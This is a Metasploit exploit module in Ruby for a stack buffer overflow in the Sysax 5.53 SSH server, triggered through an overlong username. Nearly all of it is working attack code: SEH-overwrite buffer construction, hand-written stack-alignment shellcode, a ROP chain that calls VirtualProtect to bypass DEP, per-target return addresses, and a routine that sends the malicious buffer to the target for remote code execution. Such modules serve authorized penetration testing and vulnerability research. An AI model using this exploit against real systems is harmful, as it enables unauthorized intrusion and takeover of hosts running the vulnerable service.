Sysax 5.53 - SSH Username Buffer Overflow (Metasploit)



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Sysax 5.53 SSH Username Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in Sysax's SSH service.  By
                supplying a long username, the SSH server will copy that data on the stack
                without any proper bounds checking, therefore allowing remote code execution
                under the context of the user.  Please note that previous versions
                (before 5.53) are also affected by this bug.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Craig Freyman',  #Initial discovery, PoC
                    'sinn3r'          #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '79689'],
                    ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
                    ['URL', 'http://www.exploit-db.com/exploits/18535/']
                ],
            'Payload'        =>
                {
                    'Space'           => 1024,
                    'BadChars'        => "\x00\x3a",
                    'StackAdjustment' => -3500
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "seh"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
                        {
                            'Rop' => false,
                            'Ret' => 0x00402669  # POP/POP/RET - sysaxservd.exe
                        }
                    ],
                    [
                        'Sysax 5.53 on Win2K3 SP1/SP2',
                        {
                            'Rop' => true,
                            'Ret' => 0x0046d23c  # ADD ESP, 0F8C # RETN
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 27 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptInt.new('RPORT', [false, 'The target port', 22])
            ], self.class)
    end

    def load_netssh
        begin
            require 'net/ssh'
            return true
        rescue LoadError
            return false
        end
    end

    def get_regular_exploit
        #
        # Align the stack to the beginning of the fixed size payload
        #
        align  = "\x54"              #PUSH ESP
        align << "\x58"              #POP EAX
        align << "\x04\x08"          #ADD AL,0x08
        align << "\x8b\x18"          #MOV EBX, [EAX]
        align << "\x93"              #XCHG EAX,EBX
        align << "\x66\x2d\x10\x04"  #SUB AX,0x361
        align << "\x50"              #PUSH EAX
        align << "\xc3"              #RET

        #
        # Our payload limited to 1024+4 bytes
        #
        p = make_nops(4)
        p << payload.encoded

        #
        # Craft the buffer like this:
        # [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
        # * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
        #   for the IP length, so the next 9404-byte space will begin at a consistent place.
        # * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
        #   partial-overwrite to allow a null byte in SEH.
        #
        buf  = ''
        buf << rand_text(392, payload_badchars)
        buf << rand_text(20, payload_badchars)
        buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
        buf << p
        buf << align
        buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
        buf << [target.ret].pack('V*')

        return buf
    end

    def get_rop_exploit

        junk = rand_text(4).unpack("L")[0].to_i
        nop  = make_nops(4).unpack("L")[0].to_i

        # !mona rop -m msvcrt
        p =
            [
                0x77bb2563, # POP EAX # RETN
                0x77ba1114, # <- *&VirtualProtect()
                0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                junk,
                0x77bb0c86, # XCHG EAX,ESI # RETN
                0x77bc9801, # POP EBP # RETN
                0x77be2265, # ptr to 'push esp #  ret'
                0x77bb2563, # POP EAX # RETN
                0x03C0990F,
                0x77bdd441, # SUB EAX, 03c0940f
                0x77bb48d3, # POP EBX, RET
                0x77bf21e0, # .data
                0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
                0x77bbfc02, # POP ECX # RETN
                0x77bef001, # W pointer (lpOldProtect) (-> ecx)
                0x77bd8c04, # POP EDI # RETN
                0x77bd8c05, # ROP NOP (-> edi)
                0x77bb2563, # POP EAX # RETN
                0x03c0984f,
                0x77bdd441, # SUB EAX, 03c0940f
                0x77bb8285, # XCHG EAX,EDX # RETN
                0x77bb2563, # POP EAX # RETN
                nop,
                0x77be6591, # PUSHAD # ADD AL,0EF # RETN
            ].pack("V*")

        p << payload.encoded

        #
        # Similar buffer structure to get_regular_exploit
        #
        buf  = ''
        buf << rand_text(392, payload_badchars)
        buf << rand_text(20, payload_badchars)
        buf << rand_text(1012, payload_badchars)
        buf << p
        buf << rand_text(9204-buf.length)
        buf << rand_text(4, payload_badchars)
        buf << [target.ret].pack('V*')

        return buf
    end

    def exploit
        #
        # Load net/ssh so we can talk the SSH protocol
        #
        has_netssh = load_netssh
        if not has_netssh
            print_error("You don't have net/ssh installed.  Please run gem install net-ssh")
            return
        end

        #
        # Create buffer based on target (DEP or no DEP)
        # If possible, we still prefer to use the regular version because it's more stable
        #
        if target['Rop']
            buf = get_rop_exploit
        else
            buf = get_regular_exploit
        end

        #
        # Send the malicious buffer
        #
        pass = rand_text_alpha(8)
        begin
            print_status("Sending malicious request to #{rhost}:#{rport}...")
            ssh = Net::SSH.start(
                datastore['RHOST'],
                buf,
                {
                    :password  => pass,
                    :port      => datastore['RPORT'],
                    :timeout   => 1
                })

            ::Timeout.timeout(1) {ssh.close} rescue nil

        rescue Errno::ECONNREFUSED
            print_error("Cannot establish a connection on #{rhost}:#{rport}")
            return
        rescue ::Exception => e
            if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
                print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
                return
            end
        end

        handler(ssh)
    end
end

=begin
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
relying on net/ssh.
=end